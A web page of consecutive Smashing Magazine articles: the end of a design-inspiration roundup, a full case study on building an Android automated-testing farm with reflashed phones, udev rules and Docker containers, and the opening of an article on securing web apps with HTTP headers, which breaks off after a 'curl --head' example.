Admiring the faces of these holiday characters for Westjet‘s inflight magazine “UP”. The expressions created with just a few lines.

70
Image credit: LouLou & Tummie71

Tuscany Link

Love the use of color and patterns. Beautiful curvy lines of the landscape too!

72
Image credit: Matt Carlson73

White Aurora Link

What an amazing display of white Northern Lights or white aurora curtain. Seen somewhere over Finland.

74
Image credit: This is Finland75

Fabric Magazine: London’s Green Spaces Link

Beautiful cover for Fabric‘s spring issue. Sam’s work usually has a futuristic element to it, but this one is great too, especially the plants and colors. Those lines and details in each leaf are just fantastically well executed. Perfect light and shadow effects too.

76
Image credit: Sam Chivers77

Yankee Link

The typefaces, textures and colors. They are all spot on in this illustration. Inspired by country vintage.

78
Image credit: Two Arms Inc.79

Robinhood Gold Link

Beautiful harmony and consistency without leaning over towards kitsch. Not easy when there is gold involved.

80
Image credit: Ty Wilkins81

Digital Arts Expo Link

Nice identity for The Digital Arts Expo, an annual showcase of student and faculty projects integrating engineering, computer science, and the visual and performing arts.

82
Image credit: Ketchup and Mustard83

ANWB: Kampioen Link

Great nostalgic vibe in this one. Reminds of the early adverts from the 60’s. Love the bright colors, as well as the shadow and highlights effects.

84
Image credit: Moker Ontwerp85

Pixar Times Link

Illustration created for The Pixar Times86. Everybody loves a hero. Love how the shadows are done, and the pattern effects.

87
Image credit: Luke Bott88

What To See And Do In Brussels Link

Illustrations for Eurostar‘s Metropolitan magazine to accompany an article about what to see and do in Brussels. The butcher chasing the cow is such a nice detail.

89
Image credit: Andrew Lyons90

Moment In New York Link

The faces are very original and recognizable as the style of Dutch illustrator Jackie Besteman.

91
Image credit: Jackie Besteman92

Exercise On Skis Link

Love the figures and how they are portrayed.

93
Image credit: Robert Samuel Hanson94

I Draws What I Likes… Link

“When I’m stressed about work, I just think about this. Drawring!” Beautiful custom typography and great colors.

95
Image credit: Mary Kate McDevitt96

Hotdogs! Link

A nice pattern of hotdogs to get you hungry. It’s available at the pattern library97.

98
Image credit: Román Jusdado99

Bleacher Report Link

This image goes along an article on how Tim Tebow is making a drastic switch from being a football player to a baseball player. Love this vertical stripe collage blend effect. So well done!

100
Image credit: Mike McQuade101

Modus Magazine Link

The lanes in the grass are like guides to draw you into the building. It also creates a beautiful symmetrical vibe.

102
Image credit: Tom Haugomat103

Life Is Beautiful Link

With a view like this I would totally think so. Taken in Belvedere, Tuscany.

104
Image credit: Gürkan Gündoğdu105

Amex Gold Link

Great usage of minimal colors and shapes.

106
Image credit: Colin Hesterly107

Bokeh Tribute Link

Lovely tribute to the bokeh effect.

108
Image credit: Abduzeedo109

(il)

Footnotes Link

  1. 1 https://www.smashingmagazine.com/2010/02/finding-inspiration-in-uncommon-sources-12-places-to-look/
  2. 2 https://www.smashingmagazine.com/2010/07/add-music-to-your-workflow-to-improve-results/
  3. 3 https://www.smashingmagazine.com/2016/03/inspiring-graphic-design/
  4. 4 https://www.smashingmagazine.com/2010/11/art-inspiration-for-the-weekend/
  5. 5 http://www.fernandovt.com/2016/12/3/reflect-magazine
  6. 6 http://www.fernandovt.com/2016/12/3/reflect-magazine
  7. 7 https://handsomefrank.com/illustrators/quentin-monge
  8. 8 https://handsomefrank.com/illustrators/quentin-monge
  9. 9 https://www.behance.net/gallery/48788243/2016-editorial-work
  10. 10 https://www.behance.net/gallery/48788243/2016-editorial-work
  11. 11 http://jack-hudson.com/#/if-i-was-small/
  12. 12 http://jack-hudson.com/#/if-i-was-small/
  13. 13 http://www.artcrank.com/home/as-endo-kiss
  14. 14 http://www.artcrank.com/home/as-endo-kiss
  15. 15 https://vimeo.com/201030301
  16. 16 http://www.dkngstudios.com/blog/2017/1/25/almanac-san-francisco-taproom-murals
  17. 17 http://www.dkngstudios.com/blog/2017/1/25/almanac-san-francisco-taproom-murals
  18. 18 https://vimeo.com/182602999
  19. 19 https://www.invisiblecreature.com/work/cinerama
  20. 20 https://www.invisiblecreature.com/work/cinerama
  21. 21 https://twitter.com/paddydonnelly/status/838161878085955584
  22. 22 https://twitter.com/paddydonnelly/status/838161878085955584
  23. 23 http://www.tweedrun.com/tickets/
  24. 24 http://www.tweedrun.com/tickets/
  25. 25 https://www.behance.net/gallery/35184423/Beverly-Hills-Hotel-Gucci
  26. 26 https://www.behance.net/gallery/35184423/Beverly-Hills-Hotel-Gucci
  27. 27 https://dribbble.com/shots/3319114-Mystery-Project-82-1
  28. 28 https://dribbble.com/shots/3319114-Mystery-Project-82-1
  29. 29 http://designyoutrust.com/2017/03/10-finalists-of-the-world-wildlife-day-photography-competition/
  30. 30 http://designyoutrust.com/2017/03/10-finalists-of-the-world-wildlife-day-photography-competition/
  31. 31 http://designyoutrust.com/2017/03/10-finalists-of-the-world-wildlife-day-photography-competition/
  32. 32 https://www.behance.net/gallery/48788243/2016-editorial-work
  33. 33 https://www.behance.net/gallery/48788243/2016-editorial-work
  34. 34 https://www.instagram.com/p/BK2tZ7-hyUz/
  35. 35 https://www.instagram.com/p/BK2tZ7-hyUz/
  36. 36 https://www.behance.net/gallery/47416785/Fluvial
  37. 37 https://www.behance.net/gallery/47416785/Fluvial
  38. 38 https://twitter.com/ISO50/status/837339545968467968
  39. 39 https://twitter.com/ISO50/status/837339545968467968
  40. 40 http://www.madsberg.dk/hansens-bicycle-race
  41. 41 http://www.madsberg.dk/hansens-bicycle-race
  42. 42 http://javaslehnstudio.com/projects/hotel-americano
  43. 43 http://javaslehnstudio.com/projects/hotel-americano
  44. 44 http://zaraillustrates.tumblr.com/post/154515717454/bauhausmusic-part-i-a-self-initiated-project
  45. 45 http://zaraillustrates.tumblr.com/post/154515717454f/bauhausmusic-part-i-a-self-initiated-project
  46. 46 https://agentpekka.com/artist/craig-karl/fazer-marianne-2/
  47. 47 https://agentpekka.com/artist/craig-karl/fazer-marianne-2/
  48. 48 https://www.instagram.com/p/BLgZhAOBbhH/
  49. 49 https://www.instagram.com/p/BLgZhAOBbhH/
  50. 50 https://500px.com/photo/202053703/the-path-by-adnan-bubalo
  51. 51 https://500px.com/photo/202053703/the-path-by-adnan-bubalo
  52. 52 https://500px.com/photo/201248521/aftenoon-and-downhill-by-j%C3%B8rn-allan-pedersen
  53. 53 https://500px.com/photo/201248521/aftenoon-and-downhill-by-j%C3%B8rn-allan-pedersen
  54. 54 http://seescotty.com/projects/educating-dreams/
  55. 55 http://seescotty.com/projects/educating-dreams/
  56. 56 http://phraseologyproject.com/phrase/milk-honey
  57. 57 http://phraseologyproject.com/phrase/milk-honey
  58. 58 https://500px.com/photo/202110489/reflections-of-kinderdijk-ii-by-herman-van-den-berge
  59. 59 https://500px.com/photo/202110489/reflections-of-kinderdijk-ii-by-herman-van-den-berge
  60. 60 http://www.nathparis.net/color/9v8xaekd4w01fleunpskv86nw2xbug
  61. 61 http://www.nathparis.net/color/9v8xaekd4w01fleunpskv86nw2xbug
  62. 62 http://www.artlebedev.com/everything/illustrations/iiyama/10921/
  63. 63 http://www.artlebedev.com/everything/illustrations/iiyama/10921/
  64. 64 https://www.behance.net/gallery/47239067/Matchbox-Cycling-Packaging
  65. 65 https://www.behance.net/gallery/47239067/Matchbox-Cycling-Packaging
  66. 66 http://www.elodie-illustrations.net/portfolio-view/beauty/
  67. 67 http://www.elodie-illustrations.net/portfolio-view/beauty/
  68. 68 http://www.elodie-illustrations.net/portfolio-view/portraits/
  69. 69 http://www.elodie-illustrations.net/portfolio-view/portraits/
  70. 70 http://loulouandtummie.com/portfolio-posts/up-characters/
  71. 71 http://loulouandtummie.com/portfolio-posts/up-characters/
  72. 72 https://dribbble.com/shots/3356749-Tuscany
  73. 73 https://dribbble.com/shots/3356749-Tuscany
  74. 74 https://twitter.com/thisisFINLAND/status/842060400296361984
  75. 75 https://twitter.com/thisisFINLAND/status/842060400296361984
  76. 76 https://www.behance.net/gallery/49833147/Selected-projects-Winter-2016
  77. 77 https://www.behance.net/gallery/49833147/Selected-projects-Winter-2016
  78. 78 http://twoarmsinc.com/work/view/yankee
  79. 79 http://twoarmsinc.com/work/view/yankee
  80. 80 https://dribbble.com/shots/2994377-Robinhood-Gold
  81. 81 https://dribbble.com/shots/2994377-Robinhood-Gold
  82. 82 http://www.ketchup-mustard.com/design#/digital-arts-expo/
  83. 83 http://www.ketchup-mustard.com/design#/digital-arts-expo/
  84. 84 http://mokerontwerp.nl/blog/
  85. 85 http://mokerontwerp.nl/blog/
  86. 86 http://pixartimes.com/
  87. 87 http://www.lukebott.com/play/pixar-times/
  88. 88 http://www.lukebott.com/play/pixar-times/
  89. 89 http://www.lyonsa.com/Eurostar-Metropolitan-magazine
  90. 90 http://www.lyonsa.com/Eurostar-Metropolitan-magazine
  91. 91 http://www.jackiebesteman.com/editorial.html
  92. 92 http://www.jackiebesteman.com/editorial.html
  93. 93 http://www.robertsamuelhanson.com/FAZ-1
  94. 94 http://www.robertsamuelhanson.com/FAZ-1
  95. 95 http://marykatemcdevittblog.tumblr.com/post/141498329358/when-im-stressed-about-work-i-just-think-about
  96. 96 http://marykatemcdevittblog.tumblr.com/post/141498329358/when-im-stressed-about-work-i-just-think-about
  97. 97 http://thepatternlibrary.com/#hotdogs
  98. 98 https://dribbble.com/shots/1419921-Hotdogs
  99. 99 https://dribbble.com/shots/1419921-Hotdogs
  100. 100 http://mikemcquade.com/Bleacher-Report-Tebow-Switch
  101. 101 http://mikemcquade.com/Bleacher-Report-Tebow-Switch
  102. 102 http://tiphaine-illustration.com/fr/artistes/tom-haugomat
  103. 103 http://tiphaine-illustration.com/fr/artistes/tom-haugomat
  104. 104 https://500px.com/photo/204704785/life-is-beautiful-by-g%C3%BCrkan-g%C3%BCndo%C4%9Fdu
  105. 105 https://500px.com/photo/204704785/life-is-beautiful-by-g%C3%BCrkan-g%C3%BCndo%C4%9Fdu
  106. 106 http://colinhesterly.com/#/amex-gold/
  107. 107 http://colinhesterly.com/#/amex-gold/
  108. 108 http://abduzeedo.com/wallpaper-week-bokeh-tribute
  109. 109 http://abduzeedo.com/wallpaper-week-bokeh-tribute

↑ Back to topTweet itShare on Facebook

How To Set Up An Automated Testing System Using Android Phones (A Case Study)

by

How To Set Up An Automated Testing System Using Android Phones (A Case Study)

Regression testing is one of the most time-consuming tasks when developing a mobile Android app. Using myMail as a case study, I’d like to share my experience and advice on how to build a flexible and extensible automated testing system for Android smartphones — from scratch.

The team at myMail currently uses about 60 devices for regression testing. On average, we test roughly 20 builds daily. Approximately 600 UI tests and more than 3,500 unit tests are run on each build. The automated tests are available 24/7, and save our testers a ton of time helping us to create high-quality applications. Without them, it would have taken us 36 hours (including wait time) to test every unit, or roughly 13 hours without the wait. It takes about 1.5 hours to run an automated test, including setup and translation updates. This cuts out weeks of tester work every day.

In case you write automated tests and do not deal with infrastructure, we will go through the process from the very beginning, from purchasing the phone and reinstalling firmware to creating Docker containers with the automated test phone inside. Watch the video1 to see the result.

Further Reading on SmashingMag: Link

What Phones Are Best For Android Automated Tests? Link

When Android was just beginning to gain popularity, test developers had to choose the lesser of two evils: buy an expensive set of phones or work with slow and buggy virtual devices. Today, things are much simpler because virtual machines such as Android x86 and HAXM are available.

Yet there is still a choice to make. Many developers prefer virtual machines for automated tests, but actual phones have become a rather affordable option, even if your budget for test automation is limited. Real phones provide the most accurate picture of the application’s actual behavior. By using real phones, you can be certain that users will be able to perform any action in the program.

Accordingly, I recommend that even people who currently use virtual machines for test automation on Android obtain some real devices to ensure that their tests are also correct in real life. I’ll tell you how to choose a phone for automated regression testing and tell you what other equipment you’ll need in order to get everything to work together 24/7.

6
(View large version7)

First of all, I should warn you that we will be choosing a phone model for regression tests, not configuration tests. Let’s assume that we have a lot of tests, for example 500 to 1000 application tests, that take 10 hours, and that we need several phones to complete them in 15 minutes. This sounds a little counterintuitive — why not just buy 10 to 20 different models of phones? The answer lies in the labor costs for the test automation code. You would end up writing the same test for different phone interfaces. When working with 20 different models, writing even one simple test would take a lot of time. But our present goal is to accelerate the execution of automated tests without increasing the labor costs of the programmer writing the tests.

The phone market is large, so it’s hard to know where to look first. What should be the criteria when choosing a phone? After some trial and error, I ended up with the following requirements (I’m not including any unit prices, since they should be readily available):

  • There is a way to obtain the root privileges.
  • There is a way to unlock the phone’s bootloader.
  • The phone has an Android near-stock version, or there is an option to install the near-stock version. This means you won’t have to try a ton of different tests for various interfaces.
  • The phone’s memory is no less than 1 GB. You can work with less, but various large object display checks will take a long time, even with consistently written tests.
  • Ideally, the phone has long-term manufacturer support. If this is the case, we have a chance of extending its life with new OS versions.

These criteria for purchasing a phone boil down to two things: Phone should not be slow and stuttering, and its software innards should be customizable as much as possible. Eliminating lag time saves us from the troubles of time-consuming tests, and customizability lets us correct problems that may arise over time (deterioration of operating system versions, internal phone bugs, a need to change system settings). If you find that something incorrectly works on the phone, then you at least have the chance to fix it yourself.

Root privileges, for example, let you use the command line to easily change the time on the phone, switch between Wi-Fi networks, and enable and disable system programs to simulate working with and without them. The unlocked boot sector lets users update the operating system and add custom firmware that extends the phone’s life even if the manufacturer discontinues support (which, unfortunately, is the case with most phones we have now). It would be sad if users running on Android 4.4 or Android 6 encountered an error, but your phones with automated tests run on Android 5, so nothing can be changed.

Unfortunately, you can’t ask the seller about most of these criteria at the time of purchase. That’s why we must first go to the XDA Developers forums158 and 4PDA forums9 to find all of the details we need to know about the model. If the model has been out for a while, pay attention to information about defects, memory and battery life — your device will be all but useless without these. Don’t be distracted by screens, buttons, cases, speakers and other features usually important to a user. The phone will work perfectly fine regardless (although this does depend on the specifics of your project).

Once you’ve chosen a model, you should probably order one or two for pretests to be sure that the OS doesn’t have any surprises in store, that all of the written tests run properly and that the hardware matches the manufacturer’s specifications. Below are the worst blunders I’ve seen in my experience as a buyer:

  • A phone model with a lot of local subtypes

    This is a problem if you can only get root privileges or unlock the bootloader for just some of them. It is hard to find a certified Russian phone in unofficial stores, because fake and authentic phones look the same. Additionally, many sellers or their vendors reflash the model names, hardware specifications, regions and even OS versions. It’s quite possible to see one model in the Android settings, another model in the bootloader and a third model in a shell using getprop and get-IDs. The issue is that the phone has passed through multiple hands and regions before getting to you. Its first owner was some Verizon subscriber from South Dakota. He returns it, and the now refurbished device somehow ends up with some seller in Tel Aviv, who unskillfully installs his local OS version on the hardware. Then, a seller from Moscow buys it and sells it again as a new phone. The courier brings it to you, and you receive your new eight-core reflashable Russian device, having no clue that you are actually holding a six-core locked area-specific device originally from a US cellular service customer.

    A phone model with lots of local sub-types.10
    The information in the image above is for an expensive phone with “current” software that, according to its specifications, is actually an older AT&T model that has been reflashed. (View large version11)
  • Identical serial numbers

    It’s easier to identify the problem here, but unfortunately it’s common even among official dealers. The lack of a serial number is a problem associated with many inexpensive devices. If Android Debug Bridge (ADB) is used in your automated tests and several devices are connected to the machine, then you’ll need to either rewrite the ADB code (because it would only see one device) or, if the purchase was made according to the previously mentioned criteria, manually enter the unique serial number.

    Typical serial numbers for inexpensive phones12
    Typical serial numbers for inexpensive phones
  • A pseudorandom MAC address from the Wi-Fi module after restarting the phone

    This was quite a serious issue, because we discovered it only after I was sure that “everything was OK” — i.e. the phone met our requirements, so we ordered 20 more. During our automated tests, the phones sometimes restarted. After a while, the tests started to fail due to a lack of Wi-Fi connectivity, even though everything appeared to be running normally. There was a network connection, and everything worked properly after turning the Wi-Fi module off and on. The problem was that, at some point after the reboots, a couple of the phones would end up having the same MAC address, but the Wi-Fi hotspot would only grant access to the last one. Unfortunately, I couldn’t find where on the phones the MAC address is generated, so I had to put a script in the bootloader to force a unique MAC address to be set.

    A demonstration of spoofing from a box13
    A demonstration of spoofing from a box (View large version14)

However, if you stick to the criteria above when choosing your phone, then these problems shouldn’t prove fatal. They can all be manually fixed to make the phone work properly.

So, which phones should you get to create your own test automation farm?

Google Nexus Link

If you have the resources to buy the latest working models of Google Nexus (these are currently devices such as the Nexus 5X to 6P), then get these without thinking twice. You can install almost any operating system on them, they have an inherently “clean” Android base, and developers also tend to use them to test their applications.

Any “Developer Edition” Phone Link

Many companies are currently producing phone models for developers. With these phones, you can generally unlock the bootloader, and root privileges are available. If you find a good offer, take it.

Cheap Chinese Phones With an MTK CPU Link

Many phones with MediaTek (MTK) processors can be reflashed perfectly, and their main advantage is low cost. You’ll need to look for the specific models on the local market in your country, because the phones are typically available under different brand names, depending on location. The real manufacturers are usually large companies such as Gionee, Lenovo, Inventec, Tinno Mobile, Longcheer and Techain. These companies resell their phones in Western countries under brand names including Fly, Zopo, Wiko, Micromax, MyPhone, Blu, Walton, Allview and others. But not all phones are suitable: always evaluate them according to the criteria listed above. Farms with phones like these can often be cheaper than servers with virtual Android machines, so there is a significant chance to save some money here.

In addition to phones, you are going to need a computer and USB hubs to run the automated tests. There are some other things to consider at this stage. For example, constantly operating phones need a good power supply (at least 0.5A per device; more is better). The majority of hubs on the market come with weak adapters, not designed to have a constantly running phone plugged in at every port. Things are even more complicated when it comes to tablets: 9-inch tablets die quickly when running continuously becuase of large screen power consumption, so we have to choose among 7-inch units. In our experience, six to seven phones can be hooked up to a 4A adapter (depending on their workload). Therefore, most multiport hubs with a “3A adapter and 20 USB ports” are useless, to put it mildly. The cream of the crop is server solutions, but they are crazy expensive. So, we are going to have to limit ourselves to the consumer market. To keep the phone running, you have to get 3A four-port hubs or 4A six-port hubs. If a hub has a good power supply and a large number of ports, some ports can simply remain unused.

Preparing The Phone To Work Link

Let’s look at one phone model as an example. We will solve an OS problem and then try to put several devices together on a simple test stand for test automation. The phone itself is inexpensive and of decent quality, but it is not without its own shortcomings (described above). For example, these phones have the same iSerial, so ADB sees only one device, even if multiple devices are connected. We won’t change it everywhere on the phone, but we’ll make it possible for ADB to distinguish between the phones.

To do this, we have to reflash the phone’s bootloader and install a custom recovery partition on the phone. This is to protect ourselves from any unsuccessful experiments. The manuals on how to flash your specific phone model can be found in the XDA Developers forums158. Our phones have MT6580 installed, which is a MTK processor, so we can use SP Flash Tool as well as recovery.img and scatter file devices. These can be found online for almost any device on XDA Developers and 4PDA, but, if desired, a recovery can be compiled for your device using TWRP16 as a base and creating the scatter file yourself17. In any event, we’ll just take our files and reinstall them:

Re-installing files18
(View large version19)

Once the recovery partition is installed, use it to save the bootloader backup and move it to your machine. As a rule, this is where the OS configuration files are located.

In order to hardcode your iSerial, you’ll need to unpack the phone’s bootloader image. This can be done via Android Image Kitchen20. Start unpackimg.sh, and get the unpacked image in the ramdisk folder:

There are a lot of init files here containing different variables, including the serial number.21
There are a lot of init files here containing different variables, including the serial number.
22

Let’s find the file with the serial number ${ro.serialno and replace it with our own number — for example, 999222333019:

find ramdisk/ -maxdepth 1 -name "init.mt*" -exec sed -i
's/${ro.serialno}/999222333019/g' {} +

Now, let’s pack the image back up using repacking.sh, transfer it to the phone and install it using custom recovery. Now ADB can distinguish between devices. All we need to do now is turn on developer mode on the phone and enable debugging in the developer menu. Any similar problems can be solved in exactly the same way. Pretty much everything on the phone can be reinstalled if that is what the tests require.

Setting Up The Test Machine Link

We will use a standard desktop with Ubuntu as the host for our test system. It might be necessary to transfer the connected phones from one computer to another. We might also need to build separate versions of the app for specific phone models.

To accomplish this, for each phone it’s a good idea to create an isolated virtual environment that we can change if necessary (for example, to install other versions of the Java Development Kit or to configure monitoring), without altering the other phones’ environments. As a result, our machine will be divided into several environments, each one accessible via a single phone (or a group of phones, depending on your requirements). We can establish these environments by creating several virtual machines on the host (this can be done on any operating system). Or you can do what I like to do, which is divide the phones using Docker containers, which work best on Linux. We will use a conventional desktop with Ubuntu as an example of a host for our stand.

There are specifics to consider when ordering or building the machines that the phones will be connected to. Apart from the standard HDD, RAM and CPU specs, pay attention to the number of USB controllers on the motherboard and the supported USB protocol. Phones that use USB 3.0 (xHCI) could significantly limit the maximum number of devices attached to the machine (usually 8 per controller, or 16 devices for a machine with 2 controllers), so it’s worth checking whether it’s possible to turn it off and use only EHCI. You will find those options in the BIOS or OS. It is best to forcibly disable xHCI in the BIOS if you don’t require high-speed devices.

Creating A Container For The Phone Link

As I wrote earlier, we want an integration system slave-agent to work with a specific phone and see only this phone. This way, the tests won’t accidentally run on other phones and give false pass or error results. To accomplish this, we need to separate them. When an integration system agent launches in a Docker container, each agent has access to only one device, so we can divide tasks in the integration system by specific phone models, operating system versions, screen sizes and other characteristics (for example, a container with a tablet can perform tests that require a wide screen, and a container with a phone could run tests requiring the ability to receive text messages).

Let’s use the example of a system installation and setup on Ubuntu. Here is the installation of Docker itself:

sudo apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D echo 'deb https://apt.Dockerproject.org/repo main' >> /etc/apt/sources.list.d/Docker.list sudo apt-get update sudo apt-get install Docker-engine

We are going to use OverlayFS as a storage driver (it is relatively fast and reliable). You can read about the differences between various storage drivers23 on the official Docker website.

echo 'DOCKER_OPTS="-s overlay"' >> /etc/default/Docker

Then, we will create a Dockerfile, which is an instruction for Docker to install the minimum required software for the virtual environment where a mobile device will be isolated. We will create images from this instruction. Let’s add the Android SDK to the Dockerfile:

FROM ubuntu:trusty #Update the list of repositories and add webupd8team repository, from which we'll install Java RUN apt-get update -y &&  apt-get install -y software-properties-common &&  add-apt-repository ppa:webupd8team/java -y &&  apt-get update -y &&  echo oracle-java8-installer shared/accepted-oracle-license-v1-1 select true | /usr/bin/debconf-set-selections &&  apt-get install -y oracle-java8-installer &&  apt-get remove software-properties-common -y &&  apt-get autoremove -y &&  apt-get clean #Set the environment variables for Java and the desired version of Ant ENV JAVA_HOME /usr/lib/jvm/java-8-oracle ENV ANT_VERSION 1.9.4 # Install Ant version specified above RUN cd &&  wget -q http://archive.apache.org/dist/ant/binaries/apache-ant-${ANT_VERSION}-bin.tar.gz &&  tar -xzf apache-ant-${ANT_VERSION}-bin.tar.gz &&  mv apache-ant-${ANT_VERSION} /opt/ant &&  rm apache-ant-${ANT_VERSION}-bin.tar.gz # Set the environment variable for Ant ENV ANT_HOME /opt/ant ENV PATH ${PATH}:/opt/ant/bin #Install Android Build Tools and the required version of Android SDK #You can create several versions of the Dockerfile if you need to test #several versions ENV ANDROID_SDK_VERSION r24.4.1 ENV ANDROID_BUILD_TOOLS_VERSION 23.0.3 RUN dpkg --add-architecture i386 &&  apt-get update -y &&  apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 lib32z1 &&  rm -rf /var/lib/apt/lists/* &&  apt-get autoremove -y &&  apt-get clean ENV ANDROID_SDK_FILENAME android-sdk_${ANDROID_SDK_VERSION}-linux.tgz ENV ANDROID_SDK_URL http://dl.google.com/android/${ANDROID_SDK_FILENAME} ENV ANDROID_API_LEVELS android-15,android-16,android-17,android-18,android-19,android-20,android-21,android-22,android-23 ENV ANDROID_HOME /opt/android-sdk-linux ENV PATH ${PATH}:${ANDROID_HOME}/tools:${ANDROID_HOME}/platform-tools RUN cd /opt &&  wget -q ${ANDROID_SDK_URL} &&  tar -xzf ${ANDROID_SDK_FILENAME} &&  rm ${ANDROID_SDK_FILENAME} &&  echo y | android update sdk --no-ui -a --filter tools,platform-tools,${ANDROID_API_LEVELS},build-tools-${ANDROID_BUILD_TOOLS_VERSION} ###Now add the integration system file. It can be a Jenkins slave, a Bamboo agent, etc., depending on what you're working with. ADD moyagent.sh /agentCI/

You can also add all of the necessary libraries and files for the integration system agent to the Dockerfile. At some point, you might have to build containers not only for your physical devices, but also for virtual Android phone emulators. In this case, you can just add the required settings to the instructions. Now we’ll build the Dockerfile:

Docker build .

Now we have a runnable docker image; however, the container that we spawn from it would not see any devices (or, on the contrary, the container would see all USB devices if we run it in privileged mode). We need it to see only those devices we want it to see. So, we specify a symbolic link (or symlink) in our host, which we will transfer to the Docker container created from the image. The symlink uses udev:

echo ‘"SUBSYSTEM=="usb", ATTRS{serial}=="$DEVICE_SERIAL", SYMLINK+="androidDevice1"' >> /etc/udev/rules.d/90-usb-symlink-phones.rules

Instead of $DEVICE_SERIAL, we enter our freshly installed serial number and reload the device’s rule definitions:

udevadm control --reload udevadm trigger

Now when the phone is attached via USB, we will have a device symlink to the /dev/androidDevice1 path with the serial number $DEVICE_SERIAL. All we have left to do is transfer it to the container on startup:

Docker run -i -t --rm --device=/dev/androidDevice1:/dev/bus/usb/001/1 android-Docker-image:latest adb devices

This means that we want to create a container from the Android Docker image that must be able to access the device with the /dev/androidDevice1 symlink. We also want to launch the ADB devices command in the container itself, which will show us a list of available devices.

If the phone is visible, then we’re ready. If an integration system agent was installed in the image, we can use the following command to launch it:

Docker run -i -t --rm --device= /dev/androidDevice1:/dev/bus/usb/001/1 android-Docker-image:latest /bin/sh /agentCI/moyagent.sh

Now we have launched the container in which the system integration agent is running. The agent now has access to the device via the /dev/androidDevice1 symlink and to the virtual environment where all programs specified in Dockerfile (the Android SDK and additional dependencies) are installed.

By the way, it wasn’t until fairly recently that the command line option --device started working with symlinks (see the GitHub master branch24). Previously, we had to generate the realpath from symlinks using a script and transfer it to Docker. So, if you can’t manage to connect the device, add the following script to the udev parameter RUN+= (if the connected phone is located at /dev/bus/usb/010/1):

realpath /dev/androidDevice1 | xargs -I linkpath link linkpath /dev/bus/usb/010/1

This will let you use old versions of Docker to launch a container that can access the phone:

Docker run --privileged -v /dev/bus/usb/010/:/dev/bus/usb/100/ -i -t android-Docker-image:latest adb devices

That’s it. You can now connect your slave to the integration system and work with it.

If the phone is visible, then we’re done. If a system integration agent has been installed in the image, then we can run it with the following command:

docker run -i -t --rm --device= /dev/androidDevice1:/dev/bus/usb/001/1 android-docker-image:latest /bin/sh /agentCI/moyagent.sh

Now we’ve launched our container with the system integration agent launched in it. The device is available to the agent via the /dev/androidDevice1 symlink and also via the virtual environment where you installed the programs from our Dockerfile (the Android SDK and other dependencies). The launched agent must connect to your server (such as Bamboo or Jenkins), from which you can give it commands to perform the automated tests.

When your container is ready, all you need to do is connect it to your integration system. Each of such systems has extensive documentation and a lot of examples of usage:

As soon as you connect your container according to the instruction, you will be able to execute code, launch your tests and work with your container via your systems.

Conclusion Link

Sooner or later, physical mobile devices will appear in the integration system of every relatively large Android project. The need to fix mistakes, perform non-standard test cases and simply test for the presence of certain features all inevitably require an actual device. In addition, the devices won’t use your server resources, because they have their own processors and memory. Thus, the host for the phones doesn’t have to be super-powerful; any home desktop would handle this load nicely.

Consider the advantages and see what would be best for you — your automated testing system almost certainly has room for physical devices. I wish you all fewer bugs and more test coverage! Real devices have both advantages and disadvantages. It would be great if you could share your opinion and expertise and tell us which is better to use: real devices or virtual machines. Looking forward to your comments!

(rb, yk, al, il)

Footnotes Link

  1. 1 https://www.youtube.com/watch?v=37HZIluqY8Y
  2. 2 https://www.smashingmagazine.com/2017/02/current-trends-future-prospects-mobile-app-market/
  3. 3 https://www.smashingmagazine.com/2015/12/optimizing-your-design-for-rapid-prototype-testing/
  4. 4 https://www.smashingmagazine.com/2016/09/the-thumb-zone-designing-for-mobile-users/
  5. 5 …
  6. 6 https://www.smashingmagazine.com/wp-content/uploads/2017/01/main-picture-large-opt.jpg
  7. 7 https://www.smashingmagazine.com/wp-content/uploads/2017/01/main-picture-large-opt.jpg
  8. 8 https://forum.xda-developers.com
  9. 9 http://4pda.ru/forum/
  10. 10 https://www.smashingmagazine.com/wp-content/uploads/2017/01/A-phone-model-with-lots-of-local-sub-types-large-opt.png
  11. 11 https://www.smashingmagazine.com/wp-content/uploads/2017/01/A-phone-model-with-lots-of-local-sub-types-large-opt.png
  12. 12 https://www.smashingmagazine.com/wp-content/uploads/2017/01/Typical-serial-numbers-for-inexpensive-phones-preview-opt.png
  13. 13 https://www.smashingmagazine.com/wp-content/uploads/2017/01/A-demonstration-of-spoofing-from-a-box-large-opt.png
  14. 14 https://www.smashingmagazine.com/wp-content/uploads/2017/01/A-demonstration-of-spoofing-from-a-box-large-opt.png
  15. 15 https://forum.xda-developers.com
  16. 16 http://forum.xda-developers.com/showthread.php?p=32965365#post32965365
  17. 17 http://forum.xda-developers.com/showthread.php?p=32965365#post32965365
  18. 18 https://www.smashingmagazine.com/wp-content/uploads/2017/01/Re-installing-files-large-opt.png
  19. 19 https://www.smashingmagazine.com/wp-content/uploads/2017/01/Re-installing-files-large-opt.png
  20. 20 https://github.com/osm0sis/Android-Image-Kitchen
  21. 21 https://www.smashingmagazine.com/wp-content/uploads/2017/01/init-files-here-containing-different-variables-preview-opt.png
  22. 22 https://www.smashingmagazine.com/wp-content/uploads/2017/01/6-preview-opt.png
  23. 23 https://docs.Docker.com/engine/userguide/storagedriver/selectadriver/
  24. 24 https://github.com/Docker/Docker
  25. 25 https://www.tutorialspoint.com/jenkins/jenkins_distributed_builds.htm
  26. 26 https://confluence.atlassian.com/bamboo/bamboo-remote-agent-installation-guide-289276832.html
  27. 27 https://docs.gitlab.com/runner/install/

↑ Back to topTweet itShare on Facebook

How To Secure Your Web App With HTTP Headers

by

How To Secure Your Web App With HTTP Headers

Web applications, be they thin websites or thick single-page apps, are notorious targets for cyber-attacks. In 2016, approximately 40% of data breaches1 originated from attacks on web apps — the leading attack pattern. Indeed, these days, understanding cyber-security is not a luxury but rather a necessity for web developers, especially for developers who build consumer-facing applications.

HTTP response headers can be leveraged to tighten up the security of web apps, typically just by adding a few lines of code. In this article, we’ll show how web developers can use HTTP headers to build secure apps. While the code examples are for Node.js, setting HTTP response headers is supported across all major server-side-rendering platforms and is typically simple to set up.

Further Reading on SmashingMag: Link

About HTTP Headers Link

Technically, HTTP headers are simply fields, encoded in clear text, that are part of the HTTP request and response message header. They are designed to enable both the HTTP client and server to send and receive meta data about the connection to be established, the resource being requested, as well as the returned resource itself.

Plain-text HTTP response headers can be examined easily using cURL, with the --head option, like so:

$ curl --head https://www.google.com HTTP/1.1 200 OK Date: Thu, 05 Jan 2017 08:20:29 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=ISO-8859-1 Transfer-Encoding: chunked Accept-Ranges: none Vary: Accept-Encoding …

